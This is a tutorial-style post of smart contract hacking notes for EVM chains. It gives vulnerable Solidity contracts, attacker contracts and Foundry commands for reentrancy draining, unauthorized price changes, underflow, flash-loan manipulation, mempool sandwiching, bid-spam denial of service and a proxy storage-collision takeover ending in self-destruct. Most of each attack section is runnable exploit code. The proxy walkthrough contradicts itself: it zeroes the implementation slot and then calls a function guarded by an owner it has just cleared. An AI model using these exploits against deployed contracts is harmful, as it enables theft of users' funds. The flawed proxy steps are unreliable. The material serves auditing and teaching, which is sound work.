Post

Smart Contract Hacking Notes

Notes for Smart Contract Hacking

Smart Contract Hacking Notes

Smart Contract Hacking & Auditing Notes

These notes are structured to guide you through common smart contract vulnerabilities, their detection, and exploitation, with a focus on practical, copy-pasteable commands and code snippets. They are particularly useful for EVM (Ethereum Virtual Machine) compatible blockchains (Ethereum, BSC, Polygon, Avalanche, etc.).

Smart Contract Fundamentals

EVM (Ethereum Virtual Machine): The runtime environment for smart contracts. Contracts compile to EVM bytecode.

Solidity: The most popular high-level language for writing smart contracts on EVM chains.

ABI (Application Binary Interface): Defines how to interact with a smart contract (function names, arguments, return types).

Bytecode: The low-level, machine-readable code executed by the EVM.

Gas: A unit of computation on the EVM, paid for in the native cryptocurrency (e.g., ETH).

Tx.origin vs. Msg.sender:

  • msg.sender: The immediate caller of the function (can be another contract or an EOA).
  • tx.origin: The original initiator of the transaction (always an EOA). Avoid tx.origin for authentication!

Setup & Environment

Development Frameworks (Local Setup)

  • Foundry (Recommended for Hacking/Auditing): Fast, powerful, and Solidity-native.

    • Installation:

      1
      2
      
      curl -L https://foundry.paradigm.xyz | bash
      foundryup
      
    • Create a new project:

      1
      2
      
      forge init my-contract-audit
      cd my-contract-audit
      
    • Compile: forge build

    • Test: forge test

    • Deploy (local Anvil):

      1
      2
      
      anvil # Start local blockchain in a separate terminal
      forge create --rpc http://127.0.0.1:8545 src/MyContract.sol:MyContract --private-key <your-anvil-private-key>
      
  • Hardhat: Popular JavaScript-based framework.

    • Installation:

      1
      2
      
      npm install --save-dev hardhat
      npx hardhat init # Choose "Create a JavaScript project"
      
    • Compile: npx hardhat compile

    • Test: npx hardhat test

    • Run local node: npx hardhat node

Blockchain Explorers

  • Etherscan (and forks like BscScan, PolygonScan): Indispensable for on-chain analysis.
    • Go to contract address -> “Read Contract” / “Write Contract” tabs for basic interaction.
    • “Code” tab to verify source code and look for proxies.

Decompilers & Disassemblers

  • EVM Pwn: Online EVM disassembler/decompiler. Paste bytecode to analyze.

    • https://www.evmpwn.com/
  • Porosity: Static decompiler.

    • Installation: Requires Rust.

      1
      2
      3
      
      git clone https://github.com/comsec-group/porosity.git
      cd porosity
      cargo build --release
      
    • Usage: porosity -b <bytecode.bin>

  • Dedaub’s Contract-Library (Online): Excellent for deep analysis of deployed contracts, including storage slot analysis.

    • https://contract-library.dedaub.com/

Reconnaissance & Initial Analysis

Gathering Information

  1. Identify Contract Addresses:
    • From project documentation.
    • From blockchain explorers (e.g., Etherscan, search by project name or token symbol).
  2. Verify Source Code:
    • Check if the contract source code is verified on Etherscan/Block Explorer. If not, this significantly increases difficulty.
    • Download verified source code: Use Etherscan’s “Code” tab.
  3. Identify Proxies:
    • Look for delegatecall in the bytecode or “Is this a Proxy?” notice on Etherscan.
    • If it’s a proxy, you need both the proxy address (for interaction) and the implementation address (for audit).
    • Pro Tip: Use Etherscan’s “Read Contract” tab on the proxy, often there’s a function like implementation() or a slot you can read to find the logic contract.
  4. Check for Known Libraries:
    • OpenZeppelin, Chainlink, etc. These are generally secure but double-check their specific versions and ensure they are used correctly.
  5. Identify Key Roles & Owners:
    • Look for owner, admin, minters, pausers variables.
    • Check constructor arguments and renounceOwnership() functions.
    • Identify multi-sig wallets (e.g., Gnosis Safe) if present.
  6. Understand the Business Logic:
    • What is the contract supposed to do?
    • What are the critical functions (minting, transfers, governance, upgrades)?
    • Map out potential attack surfaces based on the intended functionality. Create a data flow diagram.

Initial Static Analysis (Manual Code Review)

  • Read the README.md and Documentation: Understand the project’s goals.
  • Look at Constructor: Are initial states, ownership, or critical parameters set correctly? Are any critical initializations missing or incorrectly configured?
  • Identify Modifiers: onlyOwner, require, revert. What access controls are in place? Are they correctly applied?
  • Function Visibility: Are sensitive functions private or internal? Are external functions correctly designed and restricted?
  • External Calls: Identify call(), delegatecall(), transfer(), send(). These are red flags for reentrancy or external contract interaction issues. Trace all external calls.
  • State Variables: How are critical balances, allowances, and ownership recorded? Are they updated correctly?
  • Constants & Immutables: Are important values hardcoded or correctly set?
  • Error Handling: Are require/revert statements used effectively to prevent unintended states?

Common Smart Contract Vulnerabilities & Exploitation

This section covers high-impact vulnerabilities. Always remember the “Attack Trees” approach: identify a target, then list ways to achieve it.

Reentrancy [High Severity]

  • Description: An external call is made to an untrusted contract before the state variables are updated. The untrusted contract can then call back into the original contract, executing a function multiple times.

  • Detection: Look for call(), send(), transfer() where the state is updated after the external call.

  • Exploitation Scenario (Example: Basic Ether Withdrawal):

    • Vulnerable Contract (Victim.sol):

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
              
      contract Victim {
          mapping(address => uint) public balances;
              
          constructor() payable {
              balances[address(this)] = msg.value; // Store initial balance (bad practice)
          }
              
          function deposit() public payable {
              balances[msg.sender] += msg.value;
          }
              
          function withdraw() public {
              uint amount = balances[msg.sender];
              require(amount > 0, "No balance to withdraw");
              
              // VULNERABLE: External call before state update
              (bool success, ) = msg.sender.call{value: amount}("");
              require(success, "Withdrawal failed");
              
              balances[msg.sender] = 0; // State update AFTER call
          }
              
          function getBalance() public view returns (uint) {
              return address(this).balance;
          }
      }
      
    • Attacker Contract (Attacker.sol):

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
              
      interface IVictim {
          function withdraw() external;
          function deposit() external payable;
      }
              
      contract Attacker {
          IVictim public victim;
              
          constructor(address _victimAddress) {
              victim = IVictim(_victimAddress);
          }
              
          function attack() public payable {
              victim.deposit{value: msg.value}();
              victim.withdraw();
          }
              
          receive() external payable {
              // This function is called when Victim sends Ether back
              // Re-enter the withdraw function as long as there's enough Ether to make it worthwhile
              if (address(victim).balance >= 1 ether) {
                  victim.withdraw();
              }
          }
              
          function getBalance() public view returns (uint) {
              return address(this).balance;
          }
              
          function withdrawAttackerBalance() public {
              (bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
              require(success, "Failed to withdraw from attacker contract");
          }
      }
      
    • Exploitation Steps (using Forge/Foundry):

      1. Prepare:

        • Open two terminals. In one, start Anvil:

          1
          
          anvil
          
        • In the other terminal, get an attacker private key from Anvil’s output (e.g., the second account’s private key). Let’s call it <ATTACKER_PRIVATE_KEY>. The first account’s private key will be <OWNER_PRIVATE_KEY>.

        • Ensure you have cast installed (comes with Foundry).

      2. Deploy Victim Contract with Initial Balance:

        1
        2
        
        forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/Victim.sol:Victim --value 10 ether
        # Copy the deployed address, e.g., 0xVictimContractAddress
        
      3. Deploy Attacker Contract (pointing to Victim):

        1
        2
        
        forge create --rpc http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> src/Attacker.sol:Attacker 0xVictimContractAddress
        # Copy the deployed address, e.g., 0xAttackerContractAddress
        
      4. Fund Attacker Contract and Initiate Attack:

        • The attack() function in Attacker.sol includes a deposit, so we send value with it.
        1
        
        cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xAttackerContractAddress "attack()" --value 1 ether
        
      5. Verify Victim Balance (should be drained or significantly reduced):

        1
        2
        
        cast call --rpc-url http://127.0.0.1:8545 0xVictimContractAddress "getBalance()(uint256)"
        # Expected output should be close to 0
        
      6. Withdraw funds from Attacker contract (optional, to see total gain):

        1
        
        cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xAttackerContractAddress "withdrawAttackerBalance()"
        
  • Remediation:

    • Checks-Effects-Interactions Pattern: Update state before external calls.
    • Reentrancy Guard: Use a mutex (e.g., OpenZeppelin’s ReentrancyGuard).
    • Use transfer() or send() for Ether transfers (limit gas to 2300, preventing reentrancy for simple Ether sends). However, prefer call() with specific gas limits or checks-effects-interactions for more complex interactions where higher gas is needed.

Access Control Vulnerabilities [High Severity]

  • Description: Improper restrictions on who can execute sensitive functions.

  • Detection: Missing onlyOwner, require(msg.sender == owner), require(isAdmin[msg.sender]), or misconfigured role-based access. Check all functions that modify state for proper access controls.

  • Exploitation Scenario (Example: Missing onlyOwner on setPrice):

    • Vulnerable Contract (Product.sol):

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
              
      contract Product {
          address public owner;
          uint public price;
              
          constructor(uint _initialPrice) {
              owner = msg.sender;
              price = _initialPrice;
          }
              
          function setPrice(uint _newPrice) public { // VULNERABLE: Anyone can call
              price = _newPrice;
          }
              
          function buy() public payable {
              require(msg.value >= price, "Not enough Ether");
              // ... buy logic ...
          }
      }
      
    • Exploitation Steps (using Cast/Forge):

      1. Prepare:

        • Start Anvil in a separate terminal.
        • Get an attacker private key (e.g., the second account’s private key from Anvil output). Let’s call it <ATTACKER_PRIVATE_KEY>.
        • Get the owner’s private key (the first account’s private key from Anvil output). Let’s call it <OWNER_PRIVATE_KEY>.
      2. Deploy Vulnerable Contract:

        1
        2
        
        forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/Product.sol:Product 1000000000000000000 # 1 Ether initial price (in wei)
        # Copy the deployed address, e.g., 0xProductContractAddress
        
      3. Check Current Price (as Owner or anyone):

        1
        2
        
        cast call --rpc-url http://127.0.0.1:8545 0xProductContractAddress "price()(uint256)"
        # Expected output: 1000000000000000000
        
      4. Attacker Calls setPrice to Lower Price:

        1
        
        cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xProductContractAddress "setPrice(uint256)" 1000000000000000 # Set to 0.001 Ether
        
      5. Verify New Price (should be lowered):

        1
        2
        
        cast call --rpc-url http://127.0.0.1:8545 0xProductContractAddress "price()(uint256)"
        # Expected output: 1000000000000000
        
  • Remediation:

    • Use onlyOwner or role-based access control (RBAC) for sensitive functions.
    • Implement robust RBAC using libraries like OpenZeppelin’s AccessControl or Ownable.

Integer Overflows/Underflows [Medium Severity, High Impact]

  • Description: Occurs when an arithmetic operation results in a value outside the range of the variable type (e.g., uint256 max value is 2^256 - 1). In Solidity 0.8.0+, these operations revert by default, which is a good security measure. However, custom unchecked blocks or older Solidity versions (<= 0.7.x) are still vulnerable.

  • Detection: Look for arithmetic operations (+, -, *, /) without SafeMath (older Solidity) or within unchecked { ... } blocks (Solidity 0.8.0+). Pay special attention to loops and calculations involving user-supplied input.

  • Exploitation Scenario (Example: Underflow on Balance Subtraction in <= 0.7.x or unchecked block):

    • Vulnerable Contract (Token.sol - pre-0.8.0 or with unchecked):

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.7.0; // Target vulnerable version for default underflow
              
      contract Token {
          mapping(address => uint256) public balances;
              
          constructor(uint256 _initialSupply) {
              balances[msg.sender] = _initialSupply;
          }
              
          function transfer(address _to, uint256 _amount) public returns (bool) {
              require(balances[msg.sender] >= _amount, "Insufficient balance");
              balances[msg.sender] -= _amount; // VULNERABLE in 0.7.x if _amount > balances[msg.sender]
              balances[_to] += _amount;
              return true;
          }
              
          function withdrawAll() public returns (bool) {
              // Simulating an underflow in a common scenario (e.g., deducting gas/fee without proper check)
              // In 0.7.x, if balances[msg.sender] is 0, balances[msg.sender] - 1 would underflow to 2^256 - 1
              balances[msg.sender] = balances[msg.sender] - 1; // Direct subtraction, problematic if balance is 0 or less than 1
              return true;
          }
      }
      
    • Exploitation Steps (Targeting withdrawAll on a 0.7.x contract where balances[msg.sender] is 0):

      1. Prepare:

        • Start Anvil.

        • Get an attacker private key (<ATTACKER_PRIVATE_KEY>).

        • To compile Token.sol with 0.7.0, you might need to adjust your foundry.toml or use solc directly:

          1
          2
          3
          4
          
          [profile.default]
          solc = "0.7.0"
          # For multiple solc versions with forge:
          # solc_version = "0.7.0"
          
        • Then forge build.

      2. Deploy Vulnerable Contract:

        • Deploy with an initial supply to the owner. The attacker’s balance will be 0.
        1
        2
        
        forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/Token.sol:Token 1000
        # Copy the deployed address, e.g., 0xTokenContractAddress
        
      3. Ensure Attacker’s balance is 0 for withdrawAll scenario:

        • By default, the attacker (using a fresh Anvil key) will have 0 balance in this Token contract.
      4. Attacker calls withdrawAll:

        1
        
        cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xTokenContractAddress "withdrawAll()"
        
      5. Check Attacker’s Balance: It will be a huge number due to underflow.

        1
        2
        
        cast call --rpc-url http://127.0.0.1:8545 0xTokenContractAddress "balances(address)(uint256)" <ATTACKER_ADDRESS>
        # Expected output: a very large number like 115792089237316195423570985008687907853269984665640564039457584007913129639935 (2^256 - 1)
        
  • Remediation:

    • Use Solidity 0.8.0+ (default checks for overflow/underflow).
    • For older versions, use OpenZeppelin’s SafeMath library.
    • Always validate inputs and check boundary conditions before arithmetic operations, even in 0.8.0+ if using unchecked blocks.

Flash Loan Attacks [High Severity]

  • Description: Using uncollateralized flash loans to manipulate oracle prices, drain liquidity pools, or exploit logic flaws that rely on immediate, large capital. Not a direct vulnerability of the contract itself, but an exploit primitive. The target contract must have a vulnerability that can be triggered by large, sudden capital shifts.

  • Detection: Contracts that rely on single-source price feeds (especially from AMMs like Uniswap V2/Sushiswap, where getReserves() is used), or have logic that can be manipulated by sudden, large token movements (e.g., rebalancing mechanisms, liquidations based on manipulated prices).

  • Exploitation Strategy:

    1. Borrow (Flash Loan): Take a large loan of a specific token from a lending protocol (e.g., Aave, Balancer, Uniswap V2/V3). This happens within a single transaction.
    2. Manipulate: Inside the flash loan callback, use the borrowed funds to artificially inflate/deflate prices on a DEX (e.g., perform a large swap to move the price significantly), exploit a vulnerable oracle, or interact with a faulty protocol.
    3. Exploit: Execute the core attack logic (e.g., arbitrage, draining a vulnerable vault, triggering a liquidation).
    4. Repay: Repay the flash loan plus a small fee before the transaction ends. If repayment fails, the entire transaction reverts.
  • Exploitation Steps (Conceptual - highly specific to target dApp):

    • This requires a custom attacker contract.

    • Attacker Contract (Simplified structure):

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
              
      import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
      // Interface for a flash loan provider (e.g., Aave's ILendingPool or Uniswap's IUniswapV2Pair)
      interface IFlashLoanProvider {
          function flashLoan(address receiver, uint256 amount) external;
          // For Uniswap V2/Sushi, it's `swap` with specific parameters
          // function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
      }
              
      interface IVulnerableTarget {
          // Assume a vulnerable function here, e.g., one relying on a manipulable price
          function vulnerableAction() external;
      }
              
      contract FlashLoanAttacker {
          IFlashLoanProvider public flashLoanProvider;
          IVulnerableTarget public target;
          IERC20 public tokenToLoan; // The token we want to flash loan
              
          constructor(address _flashLoanProvider, address _target, address _tokenToLoan) {
              flashLoanProvider = IFlashLoanProvider(_flashLoanProvider);
              target = IVulnerableTarget(_target);
              tokenToLoan = IERC20(_tokenToLoan);
          }
              
          function startAttack(uint256 _amount) public {
              // Example for a simple flash loan provider that takes a receiver and amount
              flashLoanProvider.flashLoan(address(this), _amount);
          }
              
          // This is the callback function that the flash loan provider will call
          // The exact signature depends on the flash loan protocol (e.g., `executeOperation` for Aave)
          function executeOperation(
              address asset,
              uint256 amount,
              uint256 premium,
              address initiator,
              bytes calldata params
          ) external returns (bool) {
              require(msg.sender == address(flashLoanProvider), "Only FL provider can call");
              require(asset == address(tokenToLoan), "Unexpected asset");
              
              // --- 1. Manipulate Price / Setup Exploit (inside the flash loan context) ---
              // Example: Perform a large swap on a DEX to manipulate the price of a token
              // e.g., uniswapPair.swap(borrowed_amount, 0, address(target), "");
              
              // --- 2. Execute Core Exploit on Target ---
              target.vulnerableAction(); // This action relies on the manipulated state/price
              
              // --- 3. Reverse Manipulation / Clean up (if needed) ---
              // e.g., uniswapPair.swap(0, return_amount, address(this), "");
              
              // --- 4. Repay Flash Loan ---
              uint256 amountToRepay = amount + premium;
              require(tokenToLoan.balanceOf(address(this)) >= amountToRepay, "Insufficient funds to repay FL");
              tokenToLoan.approve(address(flashLoanProvider), amountToRepay);
              tokenToLoan.transfer(address(flashLoanProvider), amountToRepay); // Or `transferFrom` for some protocols
              
              return true;
          }
              
          // Fallback to receive tokens, needed if target sends tokens directly
          receive() external payable {}
              
          function getBalance(IERC20 _token) public view returns (uint256) {
              return _token.balanceOf(address(this));
          }
      }
      
    • Tools: Foundry/Hardhat for contract development and local testing. Use a local fork of a mainnet to simulate real flash loan providers (e.g., Anvil with --fork-url).

      • Forking with Anvil:

        1
        
        anvil --fork-url https://eth-mainnet.alchemyapi.io/v2/<YOUR_ALCHEMY_KEY>
        
      • Then deploy your FlashLoanAttacker and call startAttack with an appropriate flash loan amount.

  • Remediation:

    • Use robust, decentralized, and time-weighted average price (TWAP) oracles (e.g., Chainlink) instead of spot prices from AMMs.
    • Implement sanity checks on price inputs (e.g., require that the price doesn’t deviate too much from a reference).
    • Design logic to be resistant to sudden, large balance shifts.

Oracle Manipulation [High Severity]

  • Description: Manipulating the external data source (oracle) that a smart contract uses to get information (e.g., token prices, random numbers). This is often a component of a flash loan attack.
  • Detection: Contracts relying on a single, easily manipulable source for critical data (e.g., Uniswap.getReserves(), Chainlink.latestAnswer() without proper aggregation).
  • Exploitation (often combined with Flash Loans): See Flash Loan section for a conceptual example. The core idea is to change the data source’s value, then call the vulnerable contract that relies on that value.
  • Remediation:
    • Use decentralized and robust oracle solutions (e.g., Chainlink, which aggregates data from multiple sources).
    • Implement TWAP (Time-Weighted Average Price) oracles over a sufficiently long period to smooth out sudden price spikes.
    • Use multiple oracle sources and aggregate data, requiring a majority consensus.
    • Implement circuit breakers or pause mechanisms if prices deviate wildly.

Front-running / Sandwich Attacks [Medium Severity]

  • Description: An attacker observes a pending transaction in the mempool and submits their own transaction(s) with higher gas fees to execute before or around the victim’s transaction, profiting from the victim’s action.

  • Detection: Any public function that changes state based on real-time external conditions (e.g., DEX swaps, NFT mints with fixed supply at a specific price, auctions, liquidations). Look for msg.value being used directly or msg.gasprice.

  • Exploitation Strategy (e.g., Sandwiching a DEX Swap):

    1. Monitor Mempool: Use tools (e.g., mev-inspect-py, custom Go/Python scripts with WebSockets) to monitor pending transactions for large or profitable swaps.
    2. Craft Attack Tx (Buy): Create a transaction to buy the asset the victim is selling, just before their transaction. Submit this with a slightly higher gas price than the victim. This moves the price against the victim.
    3. Victim’s Tx: The victim’s transaction executes at a worse price.
    4. Craft Attack Tx (Sell): Create a transaction to sell the asset you just bought, immediately after the victim’s transaction. Submit this with a slightly higher gas price than the victim (or a block later). This moves the price back and captures the profit.
    • Payload Example (Conceptual for a DEX swap):

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      
      # Assume victim wants to swap TOKEN_A for TOKEN_B
      # Attacker's Buy (front-run):
      # Swap ETH for TOKEN_A, moving price of TOKEN_A up relative to ETH
      cast send --rpc-url <rpc_url> --private-key <attacker_private_key> <uniswap_router_address> "swapExactETHForTokens(uint256,address[],address,uint256)" 0 <path_to_tokenA> <attacker_address> <deadline> --value <large_eth_amount> --gas-price <victim_gas_price + delta>
              
      # Victim's Tx executes
              
      # Attacker's Sell (back-run):
      # Swap TOKEN_A back for ETH, profiting from the price movement
      cast send --rpc-url <rpc_url> --private-key <attacker_private_key> <uniswap_router_address> "swapExactTokensForETH(uint256,uint256,address[],address,uint256)" <tokenA_amount_bought> 0 <path_to_eth> <attacker_address> <deadline> --gas-price <victim_gas_price + delta + delta_2>
      
  • Remediation:

    • Use commit-reveal schemes for sensitive operations (e.g., auctions, NFT mints).
    • Implement slippage tolerance for DEX trades.
    • Design functions that are less sensitive to transaction ordering (e.g., batching, not revealing critical information directly in tx data).
    • Consider Flashbots Protect RPC for sending transactions directly to miners without going through the public mempool. This provides transaction privacy and prevents front-running.

Denial of Service (DoS) [Medium Severity]

  • Description: Attacker prevents legitimate users from interacting with a contract or a function.

  • Detection: Loops over dynamic arrays, reliance on external contract calls that can revert or be blocked, unbounded operations, gas limit issues, or reliance on external entities for critical state transitions.

  • Exploitation Scenario (Example: Loop over a dynamically growing array in a withdrawal/refund function):

    • Vulnerable Contract (Auction.sol):

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
              
      contract Auction {
          address[] public bidders;
          mapping(address => uint) public bids;
          address public highestBidder;
          uint public highestBid;
          bool public ended;
              
          function bid() public payable {
              require(!ended, "Auction has ended");
              bidders.push(msg.sender); // VULNERABLE: Array can grow indefinitely
              bids[msg.sender] += msg.value;
              if (msg.value > highestBid) {
                  highestBid = msg.value;
                  highestBidder = msg.sender;
              }
          }
              
          function endAuction() public {
              require(!ended, "Auction already ended");
              // VULNERABLE: Iterating over bidders to send refunds could exceed gas limit
              for (uint i = 0; i < bidders.length; i++) {
                  if (bidders[i] != highestBidder) {
                      // This specific `call` with require could also lead to DoS if a bidder's contract rejects the refund
                      (bool success, ) = bidders[i].call{value: bids[bidders[i]]}("");
                      require(success, "Refund failed");
                  }
              }
              ended = true;
          }
      }
      
    • Exploitation Steps:

      1. Prepare: Start Anvil. Get an attacker private key (<ATTACKER_PRIVATE_KEY>).

      2. Deploy Vulnerable Contract:

        1
        2
        
        forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/Auction.sol:Auction
        # Copy 0xAuctionContractAddress
        
      3. Attacker Floods bid(): The attacker creates a script or a simple contract to make many small bids from different addresses (or from the same address multiple times if not restricted) to increase bidders.length.

        • Simple loop in a script (e.g., using cast and a loop):

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          
          # Example Bash script to spam bids (replace with actual contract address and keys)
          AUCTION_CONTRACT="0xAuctionContractAddress"
          RPC_URL="http://127.0.0.1:8545"
          # Using a few different private keys to simulate multiple bidders
          PRIVATE_KEY_1="0x..." # attacker's key 1
          PRIVATE_KEY_2="0x..." # attacker's key 2
          PRIVATE_KEY_3="0x..." # attacker's key 3
                          
          for i in $(seq 1 1000); do # Spam 1000 bids
              KEY_TO_USE=""
              if [ $((i % 3)) -eq 0 ]; then KEY_TO_USE=$PRIVATE_KEY_1;
              elif [ $((i % 3)) -eq 1 ]; then KEY_TO_USE=$PRIVATE_KEY_2;
              else KEY_TO_USE=$PRIVATE_KEY_3; fi
                          
              echo "Sending bid $i with key $KEY_TO_USE"
              cast send --rpc-url $RPC_URL --private-key $KEY_TO_USE $AUCTION_CONTRACT "bid()" --value 100 # Small bid
              # You might need to add a sleep here depending on your node's rate limits/block time
          done
          
        • Alternatively, deploy a “spammer” contract that calls bid() repeatedly in a loop.

      4. Owner Tries to Call endAuction():

        1
        2
        
        cast send --rpc-url http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> 0xAuctionContractAddress "endAuction()"
        # This transaction will likely fail with an "Out of Gas" error if the array is large enough.
        
  • Remediation:

    • Avoid iterating over dynamically sized arrays in critical functions (especially loops where gas cost is unbounded).
    • Implement “pull over push” for sending Ether (users withdraw their refunds/winnings, not pushed by contract).
    • Use gas-efficient data structures (e.g., fixed-size arrays where possible).
    • Set reasonable limits for array sizes or number of iterations.
    • Implement a “claim” function instead of a single endAuction loop that processes all refunds.

Centralization Risks / Ownership Takeover [High Severity]

  • Description: Excessive power given to a single owner/admin, or the ability for an attacker to become the owner due to flawed transfer mechanisms.

  • Detection: onlyOwner pattern, single point of failure (e.g., a single EOA controlling critical contract parameters), missing or flawed renounceOwnership(), or flaws in ownership transfer mechanisms (e.g., no two-step transfer).

  • Exploitation Scenario (Example: transferOwnership to zero address or lack of two-step transfer):

    • Vulnerable Pattern:

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
              
      contract MyContract {
          address public owner;
              
          constructor() {
              owner = msg.sender;
          }
              
          modifier onlyOwner() {
              require(msg.sender == owner, "Not owner");
              _;
          }
              
          function transferOwnership(address _newOwner) public onlyOwner {
              // VULNERABLE: No confirmation step and allows setting to address(0)
              owner = _newOwner;
          }
          // ... potentially other sensitive owner-only functions ...
      }
      
    • Exploitation Steps (Owner accidentally sets owner to address(0)):

      1. Prepare: Start Anvil. Get owner’s private key (<OWNER_PRIVATE_KEY>).

      2. Deploy Vulnerable Contract:

        1
        2
        
        forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/MyContract.sol:MyContract
        # Copy 0xMyContractAddress
        
      3. Owner Calls transferOwnership with address(0) (mistake):

        1
        
        cast send --rpc-url http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> 0xMyContractAddress "transferOwnership(address)" 0x0000000000000000000000000000000000000000
        
      4. Verify Owner:

        1
        2
        3
        
        cast call --rpc-url http://127.0.0.1:8545 0xMyContractAddress "owner()(address)"
        # Expected output: 0x0000000000000000000000000000000000000000
        # The contract is now unmanaged, and no one can call onlyOwner functions.
        
  • Remediation:

    • Use OpenZeppelin’s Ownable2Step for ownership transfers, which requires the new owner to accept the transfer.
    • Implement multi-signature wallets (e.g., Gnosis Safe) for critical roles or funds to distribute power and reduce single points of failure.
    • Carefully design the scope of owner/admin permissions; adhere to the principle of least privilege.

Delegatecall Vulnerabilities (Proxy Exploitation) [Critical Severity]

  • Description: delegatecall executes code from another contract (the “implementation” or “logic” contract) in the context of the calling contract (the “proxy” contract). Misuse can lead to storage collision, logic hijacking, or even self-destructing the proxy, allowing an attacker to gain control or drain funds.

  • Detection: Presence of delegatecall opcode. Common in upgradeable proxy patterns. Crucial to understand the proxy standard being used (e.g., UUPS, Transparent Proxy, Beacon Proxy).

  • Exploitation Scenario (Example: Proxy pattern with uninitialized logic contract allowing storage collision/takeover):

    • Proxy Contract (Simplified for demonstration, in reality use standard patterns):

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
              
      contract Proxy {
          // storage slot 0
          address public implementation;
          // storage slot 1
          address public proxyOwner; // This is the proxy's owner variable
              
          constructor(address _implementation, address _proxyOwner) {
              implementation = _implementation;
              proxyOwner = _proxyOwner;
          }
              
          // Fallback function for all calls
          fallback() external payable {
              (bool success, bytes memory result) = implementation.delegatecall(msg.data);
              require(success, string(abi.encodePacked("Delegatecall failed: ", result)));
          }
      }
      
    • Implementation Contract (Vulnerable Init and Storage Layout):

      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
              
      contract VulnerableLogic {
          // storage slot 0 - this will collide with 'implementation' in the Proxy
          address public logicOwner;
          // storage slot 1 - this will collide with 'proxyOwner' in the Proxy
          uint256 public someValue;
              
          // VULNERABLE: No check if already initialized, allows re-initialization
          function initialize(address _owner, uint256 _value) public {
              logicOwner = _owner;
              someValue = _value;
          }
              
          function doSomethingOnlyLogicOwnerCan() public {
              require(msg.sender == logicOwner, "Not logic owner");
              // ... sensitive logic ...
          }
              
          function selfDestructContract() public {
              // If logicOwner can be set by attacker, they can self-destruct the proxy!
              require(msg.sender == logicOwner, "Not authorized to self-destruct");
              selfdestruct(payable(logicOwner));
          }
      }
      
    • Exploitation Steps (Attacker Re-initializes Logic via Proxy, taking over proxyOwner):

      1. Prepare: Start Anvil. Get owner’s private key (<OWNER_PRIVATE_KEY>). Get an attacker private key (<ATTACKER_PRIVATE_KEY>).

      2. Deploy VulnerableLogic:

        1
        2
        
        forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/VulnerableLogic.sol:VulnerableLogic
        # Copy 0xLogicContractAddress
        
      3. Deploy Proxy:

        1
        2
        3
        
        forge create --rpc http://127.0.0.1:8545 --private-key <OWNER_PRIVATE_KEY> src/Proxy.sol:Proxy 0xLogicContractAddress <OWNER_ADDRESS>
        # Copy 0xProxyContractAddress
        # The proxy's `proxyOwner` is initially set to <OWNER_ADDRESS>
        
      4. Verify Initial proxyOwner of the Proxy:

        1
        2
        
        cast call --rpc-url http://127.0.0.1:8545 0xProxyContractAddress "proxyOwner()(address)"
        # Expected output: <OWNER_ADDRESS>
        
      5. Attacker Calls initialize on the *Proxy*:

        • The initialize function of VulnerableLogic is called via delegatecall on the Proxy.
        • VulnerableLogic’s logicOwner (slot 0) will write to Proxy’s implementation (slot 0).
        • VulnerableLogic’s someValue (slot 1) will write to Proxy’s proxyOwner (slot 1).
        • We will set _owner parameter of initialize to a garbage value (or address(0)) and _value to ATTACKER_ADDRESS as a uint256.
        1
        2
        3
        4
        5
        6
        7
        
        # Convert ATTACKER_ADDRESS to uint256 for `someValue` param.
        # cast --to-dec <ATTACKER_ADDRESS> will give a large number, but ABI expects uint256 directly for address.
        # The important part is that the attacker's address, when cast to uint256, is written to storage slot 1.
        # We can send the attacker's address directly. Solidity ABI encoding handles this.
        ATTACKER_ADDR_AS_UINT="<ATTACKER_ADDRESS>" # Use your attacker's actual address here
                    
        cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xProxyContractAddress "initialize(address,uint256)" 0x0000000000000000000000000000000000000000 <ATTACKER_ADDR_AS_UINT>
        
      6. Verify New proxyOwner of the Proxy:

        1
        2
        3
        
        cast call --rpc-url http://127.0.0.1:8545 0xProxyContractAddress "proxyOwner()(address)"
        # Expected output: <ATTACKER_ADDRESS> (or the attacker's address converted to 20-byte if cast shows a different format)
        # The attacker has effectively taken over the proxy's ownership by overwriting its storage slot!
        
      7. Attacker Calls selfDestructContract() on Proxy (now controlled by attacker):

        1
        2
        
        cast send --rpc-url http://127.0.0.1:8545 --private-key <ATTACKER_PRIVATE_KEY> 0xProxyContractAddress "selfDestructContract()"
        # This will destroy the proxy, rendering the entire system unusable!
        
  • Remediation:

    • Use battle-tested proxy patterns (e.g., OpenZeppelin’s UUPS or Transparent Proxies), which handle storage slot management and initialization carefully.
    • Ensure initializer functions can only be called once, using an _initialized flag (e.g., _disableInitializers modifier from OpenZeppelin).
    • Carefully manage storage slots in proxy and implementation contracts, ensuring no collisions. OpenZeppelin’s upgradeable contracts handle this via “gap” variables.

Private Key Management & Wallet Exploits [Critical Severity]

